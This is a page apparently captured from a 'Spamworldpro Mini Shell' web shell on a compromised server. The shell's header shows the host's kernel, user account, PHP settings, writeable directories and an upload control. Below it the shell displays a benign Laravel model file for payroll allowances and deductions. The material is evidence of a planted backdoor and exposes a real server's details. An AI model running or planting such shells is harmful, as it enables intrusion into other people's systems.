Spamworldpro Mini Shell
Spamworldpro


Server : Apache/2.4.62 (Unix) OpenSSL/1.0.2k-fips
System : Linux server1.richineiserver.com 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : fdshops ( 1003)
PHP Version : 8.2.21
Disable Function : NONE
Directory :  /home/fdshops/public_html/Modules/Essentials/Entities/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/fdshops/public_html/Modules/Essentials/Entities/EssentialsAllowanceAndDeduction.php
<?php

namespace Modules\Essentials\Entities;

use App\Utils\Util;
use Illuminate\Database\Eloquent\Model;

class EssentialsAllowanceAndDeduction extends Model
{
    /**
     * The attributes that aren't mass assignable.
     *
     * @var array
     */
    protected $guarded = ['id'];

    /**
     * The table associated with the model.
     *
     * @var string
     */
    protected $table = 'essentials_allowances_and_deductions';

    public function employees()
    {
        return $this->belongsToMany(\App\User::class, 'essentials_user_allowance_and_deductions', 'allowance_deduction_id', 'user_id');
    }

    public static function forDropdown($business_id)
    {
        $ads = EssentialsAllowanceAndDeduction::whereNull('applicable_date')
                    ->where('business_id', $business_id)
                    ->select('id', 'description', 'type', 'amount', 'amount_type')
                    ->get();

        $util = new Util();
        $pay_components = [];
        foreach ($ads as $ad) {
            if ($ad->amount_type != 'percent') {
                $amount = $util->num_f($ad->amount, true);
            } else {
                $amount = $util->num_f($ad->amount);
                $amount .= '%';
            }

            $pay_components[$ad->id] = $ad->description.' ('.$amount.' '.__('essentials::lang.'.$ad->type).')';
        }

        return $pay_components;
    }
}

Spamworldpro Mini